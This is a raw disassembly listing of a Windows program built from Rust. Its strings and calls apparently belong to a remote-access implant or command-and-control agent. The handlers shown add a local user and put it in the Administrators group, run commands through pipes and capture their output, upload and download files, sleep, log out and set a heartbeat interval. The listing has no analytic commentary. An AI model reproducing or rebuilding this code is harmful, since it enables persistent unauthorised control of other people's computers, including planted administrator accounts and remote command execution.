mov qword [rax + 0x1d], rcx
movups xmm0, xmmword [str.Agents_prekey_Signature_is_not_validJobs_signature_size_is_not_valid]
movups xmmword [rax], xmm0
movups xmm0, xmmword [0x14019d298]
movups xmmword [rax + 0x10], xmm0
mov qword [rsp + 0x380], rax
mov qword [rsp + 0x388], rdx
mov qword [rsp + 0x390], 0x25
movups xmmword [rsp + 0x370], xmm6
jmp 0x140043a91
movups xmm0, xmmword [rsp + 0x13f8]
movups xmm1, xmmword [rsp + 0x1408]
movups xmmword [rsp + 0xdd0], xmm1
movups xmmword [rsp + 0xdc0], xmm0
movups xmm0, xmmword [rsp + 0xb38]
movups xmm1, xmmword [rsp + 0xb48]
movups xmmword [rsp + 0x5d0], xmm1
movups xmmword [rsp + 0x5c0], xmm0
lea rsi, [rsp + 0x500]
mov rcx, rsi
lea rdx, [rsp + 0xdc0]
mov r8, r13
call fcn.14010a93d
mov rcx, r12
mov rdx, rsi
push 0x20
pop r8
mov r9, r8
call fcn.1400c567d
movups xmm0, xmmword [rsp + 0xb58]
mov rax, qword [rsp + 0xb68]
mov qword [rsp + 0x5d0], rax
movups xmmword [rsp + 0x5c0], xmm0
mov rcx, r12
mov rdx, r13
call fcn.140038bd5
mov r8d, 0x198
mov rcx, r13
mov rdx, r12
call sub.VCRUNTIME140.dll_memcpy
mov rcx, r13
call fcn.14003a6dc
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], rdx
lea rcx, [rsp + 0x80]
call fcn.1400aca31
mov rsi, rax
mov rcx, rdx
call fcn.140036804
movups xmm0, xmmword [rsi]
movups xmm1, xmmword [rsi + 0x10]
movaps xmmword [rsp + 0x2f0], xmm1
movaps xmmword [rsp + 0x2e0], xmm0
movups xmm0, xmmword [rsp + 0xb58]
mov rax, qword [rsp + 0xb68]
mov qword [rsp + 0x100], rax
movups xmmword [rsp + 0xf0], xmm0
mov rcx, r15
call fcn.1400e3eae
mov r8, rdx
lea rcx, [rsp + 0x1e0]
mov rdx, rax
call fcn.14010b866
mov rdx, qword [rsp + 0x1e0]
mov r8, qword [rsp + 0x1e8]
lea rsi, [rsp + 0x260]
mov rcx, rsi
call fcn.1400e2cdc
mov r14, qword [rsp + 0x1f0]
mov rdi, qword [rsp + 0x1f8]
mov rcx, rsi
call fcn.1400e3eae
cmp rdx, 0x10
jb 0x140043a42
mov qword [rsp + 0x78], r14
mov qword [rsp + 0x70], rdi
mov rcx, rsi
call fcn.1400e3eae
mov rdi, rdx
add rdi, 0xfffffffffffffff0
mov rcx, rsi
call fcn.1400e3eae
mov r8, rdx
lea rcx, [0x14019add0]
mov qword [rsp + 0x20], rcx
mov rcx, r13
mov rdx, rax
mov qword [rsp + 0x4f8], rdi
mov r9, rdi
call fcn.140036332
mov rdi, qword [rsp + 0x5c0]
mov r14, qword [rsp + 0x5c8]
mov rax, qword [rsp + 0x5d0]
mov qword [rsp + 0x358], rax
mov rcx, qword [rsp + 0x5d8]
call fcn.140036842
lea rsi, [rsp + 0xdc0]
mov rcx, rsi
lea rdx, [rsp + 0x2e0]
lea r8, [rsp + 0xf0]
call fcn.14003b2c4
mov rcx, r13
mov rdx, rsi
mov rsi, r14
call fcn.140034d3f
movabs rax, 0x3fffffffbf
cmp r14, rax
ja 0x140043a3a
mov rbx, qword [rsp + 0x588]
mov rcx, rbx
mov rdx, qword [rsp + 0x78]
mov r14, qword [rsp + 0x70]
mov r8, r14
call fcn.140034aed
mov rcx, rbx
mov qword [rsp + 0x78], rdi
mov rdx, rdi
mov r8, rsi
call fcn.140034aed
mov rcx, r13
mov rdx, r14
mov qword [rsp + 0x5a8], rsi
mov r8, rsi
call fcn.140034c84
mov r8d, 0x240
lea rsi, [rsp + 0xdc0]
mov rcx, rsi
mov rdx, rbx
call sub.VCRUNTIME140.dll_memcpy
lea rdi, [rsp + 0xa0]
mov rcx, rdi
mov rdx, rsi
call fcn.1400cad39
lea rsi, [rsp + 0x170]
mov rcx, rsi
mov rdx, qword [rsp + 0x358]
call fcn.1400c7b51
lea rax, [rsp + 0x180]
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x440]
mov rdx, rdi
lea r8, [rsp + 0xb0]
mov r9, rsi
call fcn.1400aa748
mov rax, qword [rsp + 0x440]
mov qword [rsp + 0x70], rax
mov rbx, qword [rsp + 0x450]
mov rax, qword [rsp + 0x460]
mov rsi, qword [rsp + 0x468]
mov dil, 1
cmp rax, rsi
jae 0x140043938
lea r14, [rax + 1]
mov dl, byte [rbx + rax]
mov rcx, qword [rsp + 0x70]
xor dl, byte [rcx + rax]
mov ecx, edx
neg cl
or cl, dl
not cl
shr cl, 7
call fcn.14010b894
and dil, al
mov rax, r14
jmp 0x1400438f9
mov rcx, r14
mov rdx, rbx
call fcn.140187c90
mov rsi, rax
jmp 0x140043133
mov ecx, edi
call fcn.14010b894
cmp al, 1
lea rbx, [rsp + 0x2b0]
mov rdx, qword [rsp + 0x78]
mov r8, qword [rsp + 0x5a8]
jne 0x140043a3a
mov rcx, r13
call fcn.140039e5f
lea rcx, [rsp + 0x260]
mov rdx, qword [rsp + 0x4f8]
call fcn.140054367
mov rsi, qword [rsp + 0x260]
lea rax, [rsp + 0x268]
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x130], xmm0
test rsi, rsi
je 0x140043a4a
movaps xmm0, xmmword [rsp + 0x130]
lea rax, [rsp + 0x158]
movups xmmword [rax], xmm0
mov qword [rsp + 0x150], rsi
lea rcx, [rsp + 0x500]
call fcn.1400bf5da
lea rcx, [rsp + 0x80]
call fcn.14003a79f
mov r8, qword [rsp + 0x160]
lea rdi, [rsp + 0x130]
mov rcx, rdi
mov rdx, rsi
call fcn.1400a9d08
lea rsi, [rsp + 0x1e0]
mov rcx, rsi
mov rdx, rdi
call fcn.1400a81b2
lea rcx, [rsp + 0x440]
mov rdx, rsi
call fcn.140033ab4
cmp byte [rsp + 0x440], 0
lea r14, [rsp + 0xb8]
je 0x14004582f
mov rdi, qword [rsp + 0x448]
lea rsi, [0x14019c1e8]
jmp 0x140047a45
lea rsi, [rsp + 0x260]
mov rcx, rsi
call fcn.14003584d
lea rcx, [rsp + 0x378]
call fcn.140049c55
and qword [rsp + 0x370], 0
lea rdi, [rsp + 0x12f8]
lea rsi, [0x14019c1e8]
lea r14, [rsp + 0xb8]
lea rcx, [rsp + 0x2e0]
call fcn.1400355af
lea rcx, [rsp + 0x80]
call fcn.140035b10
mov rcx, r14
call fcn.14003584d
mov rcx, r15
call fcn.140035610
cmp qword [rsp + 0x370], 0
je 0x140043c91
movaps xmm0, xmmword [rsp + 0x360]
movaps xmmword [rsp + 0xb70], xmm0
push reloc.WS2_32.dll_ioctlsocket
pop rcx
lea r15, [rsp + 0xa18]
mov rdi, r15
lea rsi, [rsp + 0x370]
rep movsq qword [rdi], qword [rsi]
mov rcx, r15
lea rdx, str.useradd
call fcn.14003a9b1
test al, al
je 0x140043cd5
cmp qword [rsp + 0xa40], 2
jne 0x140043cd5
lea rbx, [rsp + 0xa30]
mov rcx, rbx
xor edx, edx
lea r8, str.src_run.rs_Agent_Error_:_Failed_to_create_pipe__n_Agent_Error_:_Failed_to_create_process__n
call fcn.14003b29e
mov rsi, qword [rax]
mov rdi, qword [rax + 0x10]
add rdi, rsi
mov rcx, rbx
push 1
pop rdx
lea r8, str.src_run.rs_Agent_Error_:_Failed_to_create_pipe__n_Agent_Error_:_Failed_to_create_process__n
call fcn.14003b29e
mov rbx, qword [rax]
mov r14, qword [rax + 0x10]
add r14, rbx
mov qword [rsp + 0x5c0], rsi
mov qword [rsp + 0x5c8], rdi
and word [rsp + 0x5d0], 0
push 1
pop r15
mov dword [rsp + 0x5d8], r15d
lea rdi, [rsp + 0x440]
mov rcx, rdi
mov rdx, r13
call fcn.140036179
mov qword [rsp + 0x5c0], rbx
mov qword [rsp + 0x5c8], r14
and word [rsp + 0x5d0], 0
mov dword [rsp + 0x5d8], r15d
lea rbx, [rsp + 0x360]
mov rcx, rbx
mov rdx, r13
call fcn.140036179
mov rsi, qword [rsp + 0x440]
mov rax, qword [rsp + 0x360]
mov qword [rsp + 0x5c0], rsi
mov qword [rsp + 0x5c8], rax
movabs rax, 0x100000000
mov qword [rsp + 0x5d0], rax
lea rax, [rsp + 0x5e8]
movups xmmword [rax - 0x10], xmm6
mov dword [rsp + 0x5e8], 0x10001
and qword [rsp + 0x5f0], 0
xor ecx, ecx
mov edx, r15d
mov r8, r13
xor r9d, r9d
call sub.NETAPI32.dll_NetUserAdd
mov dword [rsp + 0x500], eax
test eax, eax
je 0x140043de2
lea rax, [rsp + 0x500]
mov qword [rsp + 0xba0], rax
lea rax, [0x1400305d0]
mov qword [rsp + 0xba8], rax
mov qword [rsp + 0x20], 1
lea rsi, [rsp + 0xdc0]
mov rcx, rsi
lea rdx, str._Agent_Error_:_Failed_to_add_user__error_code:__n
push 2
pop r8
mov r9, r12
call fcn.14003510c
lea rcx, [rsp + 0x80]
mov rdx, rsi
call fcn.140037b3c
mov rcx, rbx
call fcn.140035872
mov rcx, rdi
call fcn.140035872
xor r14d, r14d
mov dword [rsp + 0x70], 0
jmp 0x140043dd5
mov rcx, qword [rsp + 0x1d8]
xor edx, edx
call fcn.140008c40
cmp qword [rsp + 0x370], 0
jne 0x140043cb8
lea rcx, [rsp + 0x360]
call fcn.1400353ef
xor r14d, r14d
mov r15, qword [rsp + 0x1d0]
lea rcx, [rsp + 0x1288]
call fcn.140035b98
jmp 0x140042294
mov rcx, r15
lea rdx, str.sleep
call fcn.14003a9b1
test al, al
lea rsi, [rsp + 0xa30]
lea rbx, [rsp + 0xba8]
je 0x140043d72
mov rcx, rsi
xor edx, edx
lea r8, str.src_run.rs_Agent_Error_:_Failed_to_create_pipe__n_Agent_Error_:_Failed_to_create_process__n
call fcn.14003b29e
mov rcx, qword [rax]
mov rax, qword [rax + 0x10]
add rax, rcx
mov qword [rsp + 0x5c0], rcx
mov qword [rsp + 0x5c8], rax
lea rdi, [rsp + 0x12f8]
mov rcx, r13
call fcn.140036078
test eax, eax
je 0x140044063
cmp edx, 0x110000
je 0x140044063
lea eax, [rdx - 0x30]
cmp eax, 0xa
jb 0x140043d2b
cmp edx, 0x80
jb 0x140043d62
mov ecx, edx
call fcn.1400311d0
test al, al
jne 0x140043d2b
lea rsi, [rsp + 0xa30]
lea r15, [rsp + 0xa18]
mov rcx, r15
lea rdx, str.logout
call fcn.14003a9b1
test al, al
je 0x140043eb8
mov dword [rsp + 0x70], 0
push reloc.WS2_32.dll_shutdown
pop rcx
xor edx, edx
call fcn.14005453e
movabs rcx, 0xa2174756f206465
mov qword [rax + 0xe], rcx
movups xmm0, xmmword [str.Agent_has_logged_out__n]
movups xmmword [rax], xmm0
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], rdx
mov qword [rsp + 0x90], reloc.WS2_32.dll_shutdown
push 1
pop rax
mov r14d, eax
lea rdi, [rsp + 0x12f8]
jmp 0x14004695b
mov qword [rsp + 0x1e0], rsi
lea rax, str.AdministratorsAdminUser_added_successfully_on_Windows__nUnable_to_add_user_to_administrator_group__but_normal_user_is_added_successfully__error_code:
mov qword [rsp + 0xdc0], rax
lea rax, [0x14019cce6]
mov qword [rsp + 0xdc8], rax
and word [rsp + 0xdd0], 0
mov dword [rsp + 0xdd8], r15d
mov rcx, r12
lea rdi, [rsp + 0xdc0]
mov rdx, rdi
call fcn.140036179
mov rdx, qword [rsp + 0xba0]
mov dword [rsp + 0x20], r15d
xor ecx, ecx
push 3
pop r8
lea r9, [rsp + 0x1e0]
call sub.NETAPI32.dll_NetLocalGroupAddMembers
mov esi, eax
mov dword [rsp + 0x2e0], eax
mov rcx, r12
call fcn.140035872
test esi, esi
je 0x14004427b
lea rax, [rsp + 0x2e0]
mov qword [rsp + 0xba0], rax
lea rax, [0x1400305d0]
mov qword [rsp + 0xba8], rax
mov qword [rsp + 0x20], 1
mov rcx, rdi
lea rdx, [0x14019cd70]
push 2
pop r8
mov r9, r12
call fcn.14003510c
lea rcx, [rsp + 0x80]
mov rdx, rdi
call fcn.140037b3c
jmp 0x1400442c1
mov rcx, r15
lea rdx, str.upload
call fcn.14003a9b1
test al, al
je 0x14004410d
mov rcx, rsi
xor edx, edx
lea r8, str.src_run.rs_Agent_Error_:_Failed_to_create_pipe__n_Agent_Error_:_Failed_to_create_process__n
call fcn.14003b29e
mov rcx, r12
mov rdx, rax
call fcn.140032d70
lea rax, [rsp + 0xac8]
mov qword [rsp + 0xdc0], rax
lea rax, [0x140038bc3]
mov qword [rsp + 0xdc8], rax
mov qword [rsp + 0xdd0], r12
mov qword [rsp + 0xdd8], rax
mov qword [rsp + 0x20], 2
mov rcx, r13
lea rdx, [0x14019d138]
push 2
pop r8
lea r9, [rsp + 0xdc0]
call fcn.14003510c
lea rcx, [rsp + 0x360]
mov rdx, r13
call fcn.140037b3c
mov rcx, r12
call fcn.14003584d
movups xmm0, xmmword [rsp + 0x360]
movaps xmmword [rsp + 0xab0], xmm0
mov rax, qword [rsp + 0x370]
mov qword [rsp + 0xac0], rax
mov rcx, rsi
push 1
pop rdx
lea r8, str.src_run.rs_Agent_Error_:_Failed_to_create_pipe__n_Agent_Error_:_Failed_to_create_process__n
call fcn.14003b29e
lea rsi, [rsp + 0x130]
mov rcx, rsi
mov rdx, rax
call fcn.140032d70
mov rcx, r13
call fcn.1400d8e8f
mov rcx, r12
mov rdx, r13
lea r8, str.src_run.rs_Agent_Error_:_Failed_to_create_pipe__n_Agent_Error_:_Failed_to_create_process__n
call fcn.14003662f
mov rcx, rsi
call fcn.1400e3eae
mov rsi, rax
mov rdi, rdx
mov qword [rsp + 0x1b0], rax
mov qword [rsp + 0x1b8], rdx
mov rcx, rax
call fcn.140010340
test rax, rax
je 0x1400443a0
mov rcx, rsi
mov rdx, rdi
call fcn.140010200
test rax, rax
lea r14, [rsp + 0xa0]
je 0x140048014
mov r8, rdx
mov rcx, r13
mov rdx, rax
call fcn.140034fe3
mov esi, dword [rsp + 0x5c0]
mov rcx, r13
call fcn.140035ef8
cmp esi, 2
lea rdi, [rsp + 0x12f8]
jne 0x140044400
push 0x2b
pop rsi
mov rcx, rsi
xor edx, edx
call fcn.14005453e
movups xmm0, xmmword [str._Agent_Error_:_The_directory_does_not_exist_Agent_Error_:_No_filename_in_the_path]
movups xmmword [rax], xmm0
movups xmm0, xmmword [0x14019d530]
movups xmmword [rax + 0x10], xmm0
movups xmm0, xmmword [0x14019d53b]
movups xmmword [rax + 0x1b], xmm0
mov rcx, rsi
jmp 0x1400443db
lea rsi, [rsp + 0xa30]
mov rcx, rsi
xor edx, edx
lea r8, str.src_run.rs_Agent_Error_:_Failed_to_create_pipe__n_Agent_Error_:_Failed_to_create_process__n
call fcn.14003b29e
mov rdx, qword [rax]
mov r8, qword [rax + 0x10]
mov rcx, r13
call fcn.14002f600
cmp byte [rsp + 0x5c0], 0
jne 0x140048027
mov rax, qword [rsp + 0x5c8]
mov qword [rsp + 0x1d8], rax
xor r14d, r14d
mov rcx, rsi
xor edx, edx
lea r8, str.src_run.rs_Agent_Error_:_Failed_to_create_pipe__n_Agent_Error_:_Failed_to_create_process__n
call fcn.14003b29e
mov qword [rsp + 0xdc0], rax
lea rax, [0x140038bc3]
mov qword [rsp + 0xdc8], rax
mov qword [rsp + 0x20], 1
mov rcx, r13
lea rdx, str.Heartbeat_interval__seconds_n
push 2
pop r8
lea r9, [rsp + 0xdc0]
call fcn.14003510c
lea rcx, [rsp + 0x80]
mov rdx, r13
call fcn.140037b3c
jmp 0x140046953
mov rcx, r15
lea rdx, str.download
call fcn.14003a9b1
test al, al
lea rdi, [rsp + 0x12f8]
je 0x1400442f0
mov qword [rsp + 0xdc0], 1
lea rdx, [rsp + 0xdc0]
movups xmmword [rdx + 8], xmm6
mov rcx, r13
lea r8, [0x14019ac70]
call fcn.14002a350
lea rcx, [rsp + 0x12e8]
mov rdx, r13
call fcn.1400cc6da
mov ecx, eax
call fcn.1400365a9
mov rax, qword [rsp + 0xdd0]
mov qword [rsp + 0x1c0], rax
movups xmm0, xmmword [rsp + 0xdc0]
movaps xmmword [rsp + 0x1b0], xmm0
lea rcx, [rsp + 0xa30]
xor edx, edx
lea r8, str.src_run.rs_Agent_Error_:_Failed_to_create_pipe__n_Agent_Error_:_Failed_to_create_process__n
call fcn.14003b29e
mov rcx, r14
mov rdx, rax
call fcn.140032d70
lea rcx, [rsp + 0x150]
lea rdx, [rsp + 0xd90]
call fcn.140032d70
mov rcx, r13
call fcn.1400d8e8f
lea rbx, [rsp + 0x360]
mov rcx, rbx
mov rdx, r13
lea r8, str.src_run.rs_Agent_Error_:_Failed_to_create_pipe__n_Agent_Error_:_Failed_to_create_process__n
call fcn.14003662f
mov rcx, r14
call fcn.1400e3eae
mov rcx, rax
call fcn.140010340
test rax, rax
je 0x140044214
mov r8, rdx
mov rcx, r13
mov rdx, rax
call fcn.140009a30
cmp qword [rsp + 0x5c0], 0
je 0x1400447ac
push 0x23
pop rcx
xor edx, edx
call fcn.14005453e
movups xmm0, xmmword [str._Agent_Error_:_File_name_not_found_]
movups xmmword [rax], xmm0
movups xmm0, xmmword [0x14019d2f8]
movups xmmword [rax + 0x10], xmm0
mov dword [rax + 0x1f], 0x21646e75
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], rdx
mov qword [rsp + 0x90], 0x23
mov rcx, rbx
call fcn.14003598e
lea rcx, [rsp + 0x150]
call fcn.14003584d
mov rcx, r14
lea rsi, [rsp + 0x1b0]
jmp 0x140046943
push 0x29
pop rcx
xor edx, edx
call fcn.14005453e
movups xmm0, xmmword [0x14019cce6]
movups xmmword [rax], xmm0
movups xmm0, xmmword [0x14019ccf6]
movups xmmword [rax + 0x10], xmm0
movups xmm0, xmmword [0x14019ccff]
movups xmmword [rax + 0x19], xmm0
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], rdx
mov qword [rsp + 0x90], 0x29
lea rdi, [rsp + 0x12f8]
lea rcx, [rsp + 0x360]
lea rsi, [rsp + 0xf0]
call fcn.140035872
lea rcx, [rsp + 0x440]
call fcn.140035872
jmp 0x140045f6c
mov rcx, r15
lea rdx, str.execm
call fcn.14003a9b1
test al, al
lea rbx, [rsp + 0x360]
push 1
pop r15
je 0x140044454
lea rcx, [rsp + 0xa30]
xor edx, edx
lea r8, str.src_run.rs_Agent_Error_:_Failed_to_create_pipe__n_Agent_Error_:_Failed_to_create_process__n
call fcn.14003b29e
mov rcx, r13
mov rdx, rax
call fcn.140032d70
lea rdi, [rsp + 0xdc0]
mov rcx, rdi
mov rdx, r13
call fcn.140038c28
mov rsi, qword [rsp + 0xdc0]
movups xmm0, xmmword [rdi + 8]
movaps xmmword [rsp + 0xba0], xmm0
test rsi, rsi
je 0x140047fc0
movaps xmm0, xmmword [rsp + 0xba0]
movaps xmmword [rsp + 0x440], xmm0
mov rcx, r13
call fcn.140008b40
mov rdi, qword [rsp + 0x5d0]
cmp qword [rsp + 0x5c0], 0
je 0x1400449c9
mov r15, qword [rsp + 0x5c8]
jmp 0x1400449d1
push 0x26
pop rsi
mov rcx, rsi
xor edx, edx
call fcn.14005453e
movabs rcx, 0x6874617020656874
mov qword [rax + 0x1e], rcx
movups xmm0, xmmword [0x14019d54b]
movups xmmword [rax], xmm0
movups xmm0, xmmword [0x14019d55b]
movups xmmword [rax + 0x10], xmm0
mov rcx, rsi
lea rdi, [rsp + 0x12f8]
lea rsi, [rsp + 0xf0]
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], rdx
mov qword [rsp + 0x90], rcx
jmp 0x140045f4a
mov rcx, r14
mov rdx, r12
call fcn.1400d8c02
cmp qword [rsp + 0xba0], 0
lea r15, [rsp + 0x2d0]
je 0x140044854
call fcn.140038b82
test rax, rax
je 0x140044c8c
mov rsi, rax
mov cl, byte [rax + 0x4e]
call fcn.1400d2601
test al, al
je 0x140044cad
mov qword [rsp + 0x5c0], 3
jmp 0x140044d53
mov rax, qword [rsp + 0xa28]
mov qword [rsp + 0x100], rax
movups xmm0, xmmword [rsp + 0xa18]
movaps xmmword [rsp + 0xf0], xmm0
lea rax, [rsp + 0xa30]
mov r8, qword [rax + 0x10]
mov qword [rsp + 0x270], r8
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x260], xmm0
mov rdx, qword [rsp + 0x260]
mov qword [rsp + 0x20], 1
mov rcx, r12
lea r9, [0x14019cd90]
call fcn.1400e23b4
lea rax, [rsp + 0xf0]
mov qword [rsp + 0xdc0], rax
lea rax, [0x140038bc3]
mov qword [rsp + 0xdc8], rax
mov qword [rsp + 0xdd0], r12
mov qword [rsp + 0xdd8], rax
mov qword [rsp + 0x20], 2
mov rcx, r13
lea rdx, [0x14019cd98]
push 2
pop r8
lea r9, [rsp + 0xdc0]
call fcn.14003510c
mov rcx, rbx
mov rdx, r13
call fcn.140037b3c
mov rcx, r12
call fcn.14003584d
mov rax, qword [rsp + 0x370]
mov qword [rsp + 0x510], rax
movups xmm0, xmmword [rsp + 0x360]
movaps xmmword [rsp + 0x500], xmm0
mov rcx, qword [rsp + 0x500]
add rax, rcx
mov qword [rsp + 0x5c0], rcx
mov qword [rsp + 0x5c8], rax
and word [rsp + 0x5d0], 0
mov dword [rsp + 0x5d8], r15d
lea rcx, [rsp + 0x2e0]
mov rdx, r13
call fcn.140036179
mov rsi, qword [rsp + 0x2e0]
movaps xmmword [rsp + 0x1e0], xmm6
and qword [rsp + 0x1f0], 0
mov dword [rsp + 0x1e0], 0x18
and qword [rsp + 0x130], 0
mov dword [rsp + 0x1f0], r15d
and qword [rsp + 0xa0], 0
lea rcx, [rsp + 0x130]
lea rdx, [rsp + 0xa0]
lea r8, [rsp + 0x1e0]
xor r9d, r9d
call sub.KERNEL32.dll_CreatePipe
test eax, eax
je 0x14004497b
movaps xmmword [rsp + 0x5c0], xmm6
movaps xmmword [rsp + 0x5f0], xmm6
movaps xmmword [rsp + 0x600], xmm6
movaps xmmword [rsp + 0x5e0], xmm6
movaps xmmword [rsp + 0x5d0], xmm6
and qword [rsp + 0x610], 0
mov dword [rsp + 0x5c0], 0x68
mov rax, qword [rsp + 0xa0]
mov qword [rsp + 0x620], rax
mov qword [rsp + 0x618], rax
mov dword [rsp + 0x5fc], 0x101
movaps xmmword [rsp + 0x440], xmm6
and qword [rsp + 0x450], 0
lea rax, [rsp + 0x440]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], r13
movups xmmword [rsp + 0x30], xmm6
mov dword [rsp + 0x28], 0x8000400
mov dword [rsp + 0x20], 1
xor ecx, ecx
mov rdx, rsi
xor r8d, r8d
xor r9d, r9d
call sub.KERNEL32.dll_CreateProcessW
mov esi, eax
mov rcx, qword [rsp + 0xa0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test esi, esi
je 0x140044f75
mov qword [rsp + 0x360], 1
lea rax, [rsp + 0x368]
movups xmmword [rax], xmm6
mov ecx, 0x1000
xor edx, edx
call fcn.14005453e
mov rsi, rax
mov rdi, rdx
mov qword [rsp + 0xba0], rax
mov qword [rsp + 0xba8], rdx
and qword [rsp + 0xbb0], 0
and dword [rsp + 0xb8], 0
call fcn.140011000
mov qword [rsp + 0x170], rax
mov dword [rsp + 0x178], edx
lea rcx, [rsp + 0x170]
call fcn.1400112c0
cmp rax, 0x1e
jae 0x1400448be
and dword [rsp + 0xdc0], 0
mov rcx, qword [rsp + 0x130]
lea rax, [rsp + 0xdc0]
mov qword [rsp + 0x20], rax
and qword [rsp + 0x28], 0
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call sub.KERNEL32.dll_PeekNamedPipe
test eax, eax
je 0x1400448be
cmp dword [rsp + 0xdc0], 0
jne 0x14004475f
xor ecx, ecx
mov edx, 0x5f5e100
call fcn.140008c40
jmp 0x1400446f8
mov rcx, qword [rsp + 0x130]
and qword [rsp + 0x20], 0
mov rdx, rsi
mov r8d, edi
mov r9, r14
call sub.KERNEL32.dll_ReadFile
test eax, eax
je 0x1400448be
mov r8d, dword [rsp + 0xb8]
test r8d, r8d
je 0x1400448be
mov qword [rsp + 0xbb0], r8
mov rcx, rbx
mov rdx, rsi
call fcn.140054331
jmp 0x1400446e4
mov r14, qword [rsp + 0x5c8]
mov rsi, qword [rsp + 0x5d0]
mov rcx, rsi
xor edx, edx
call fcn.14005453e
mov r15, rbx
mov rbx, rax
mov rdi, rdx
mov rcx, rax
mov rdx, r14
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsp + 0x1c0]
lea rcx, [rsp + 0xba0]
mov qword [rcx + 0x178], rax
movaps xmm0, xmmword [rsp + 0x1b0]
movups xmmword [rcx + 0x168], xmm0
lea rcx, [rsp + 0x130]
mov rdx, r15
call fcn.1400d8c02
cmp qword [rsp + 0x360], 0
je 0x140045000
call fcn.140038b82
test rax, rax
je 0x140045b4e
mov r14, rax
mov cl, byte [rax + 0x4e]
call fcn.1400d2601
test al, al
je 0x140045b5f
mov qword [rsp + 0x5c0], 3
jmp 0x140045c0c
lea rax, [rsp + 0xab0]
mov qword [rsp + 0x5c0], rax
lea rax, [rsp + 0x1b0]
mov qword [rsp + 0x5c8], rax
lea rax, [rsp + 0x130]
mov qword [rsp + 0x5d0], rax
mov byte [rsp + 0x5d9], 0
call fcn.140038b82
test rax, rax
je 0x140045083
mov rsi, rax
mov cl, byte [rax + 0x4e]
call fcn.1400d2601
test al, al
je 0x14004509c
mov qword [rsp + 0xdc0], 3
jmp 0x140045152
mov rcx, qword [rsp + 0x130]
mov rsi, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rsi
and dword [rsp + 0x150], 0
mov rcx, qword [rsp + 0x440]
lea rdx, [rsp + 0x150]
call sub.KERNEL32.dll_GetExitCodeProcess
mov rcx, qword [rsp + 0x440]
call rsi
mov rcx, qword [rsp + 0x448]
call rsi
mov r8, qword [rsp + 0x360]
mov r9, qword [rsp + 0x370]
and qword [rsp + 0x20], 0
lea rsi, [rsp + 0xdc0]
mov rcx, rsi
lea rdx, [0x14019ae08]
call fcn.1401096c8
lea rcx, [rsp + 0x80]
mov rdx, rsi
lea r8, str.src_run.rs_Agent_Error_:_Failed_to_create_pipe__n_Agent_Error_:_Failed_to_create_process__n
call fcn.1400366b1
mov rcx, r12
call fcn.14003584d
mov rcx, rbx
call fcn.14003584d
lea rcx, [rsp + 0x2e0]
call fcn.140035872
lea rcx, [rsp + 0x500]
call fcn.14003584d
lea rdi, [rsp + 0x12f8]
jmp 0x140044fd5
push 0x26
pop rcx
xor edx, edx
call fcn.14005453e
movabs rcx, 0xa21657069702065
mov qword [rax + 0x1e], rcx
movups xmm0, xmmword [0x14019cdc2]
movups xmmword [rax], xmm0
movups xmm0, xmmword [0x14019cdd2]
movups xmmword [rax + 0x10], xmm0
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], rdx
mov qword [rsp + 0x90], 0x26
jmp 0x140044fbb
call fcn.1400128c0
mov r15, rax
test rdi, rdi
lea rcx, [rsp + 0xdc0]
je 0x140044a27
mov qword [rsp + 0xba0], rdi
lea rax, [rsp + 0x5e8]
movups xmm0, xmmword [rax - 0x10]
lea rax, [rsp + 0xba8]
movups xmmword [rax], xmm0
mov rdx, r12
mov rdi, rcx
call fcn.1400cfe09
mov rcx, rdi
lea rdx, [0x14019ac08]
push 0x2f
pop r8
lea r9, [0x14019ac38]
call fcn.140036563
mov rcx, rax
jmp 0x140044a29
xor ecx, ecx
call fcn.140009140
mov qword [rsp + 0x2e0], rax
lock inc qword [rax]
jle 0x140048058
mov rbx, rax
push 0x38
pop rcx
call fcn.140037d47
mov rdi, rax
push 1
pop rax
mov qword [rdi], rax
mov qword [rdi + 8], rax
and qword [rdi + 0x10], 0
and qword [rdi + 0x30], 0
mov qword [rsp + 0x1e0], rdi
lock inc qword [rdi]
jle 0x140048058
xor ecx, ecx
call fcn.14000b150
mov r14, rax
test rax, rax
je 0x140044a8d
lock inc qword [r14]
jle 0x140048058
mov rcx, r14
call fcn.14000b150
mov qword [rsp + 0xdc0], rax
lea rcx, [rsp + 0xdc0]
call fcn.1400354fb
mov rcx, qword [rdi + 0x30]
test rcx, rcx
je 0x140044abc
add rcx, 0x10
call fcn.140008a90
push 0x30
pop rcx
call fcn.140037d47
mov qword [rax], rbx
mov qword [rax + 8], rdi
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], rsi
movaps xmm0, xmmword [rsp + 0x440]
movups xmmword [rax + 0x20], xmm0
mov rcx, r15
mov rdx, rax
lea r8, [0x14019ac50]
call fcn.14001ffb0
mov rsi, rdx
test rax, rax
jne 0x14004805c
mov rax, qword [rsp + 0x2e0]
mov qword [rsp + 0x360], rax
mov qword [rsp + 0x368], rdi
mov qword [rsp + 0x370], rsi
cmp qword [rsp + 0xa40], 2
jne 0x140044c14
lea rcx, [rsp + 0xa30]
push 1
pop rdx
lea r8, str.src_run.rs_Agent_Error_:_Failed_to_create_pipe__n_Agent_Error_:_Failed_to_create_process__n
call fcn.14003b29e
mov rcx, rax
lea rdx, [0x14019d0e8]
call fcn.14003a9b1
test al, al
je 0x140044c14
movups xmm0, xmmword [rsp + 0x360]
movaps xmmword [rsp + 0x5c0], xmm0
mov rcx, qword [rsp + 0x370]
mov qword [rsp + 0x5d0], rcx
call fcn.1400202c0
mov rcx, qword [rsp + 0x5c8]
push 1
pop rax
push 0xffffffffffffffff
pop rdx
lock cmpxchg qword [rcx + 8], rdx
jne 0x14004809f
mov rax, qword [rsp + 0x5c8]
mov rcx, qword [rax]
mov qword [rax + 8], 1
cmp rcx, 1
jne 0x14004809f
mov rax, qword [rsp + 0x5c8]
mov rcx, qword [rax + 0x10]
and qword [rax + 0x10], 0
test rcx, rcx
je 0x1400480af
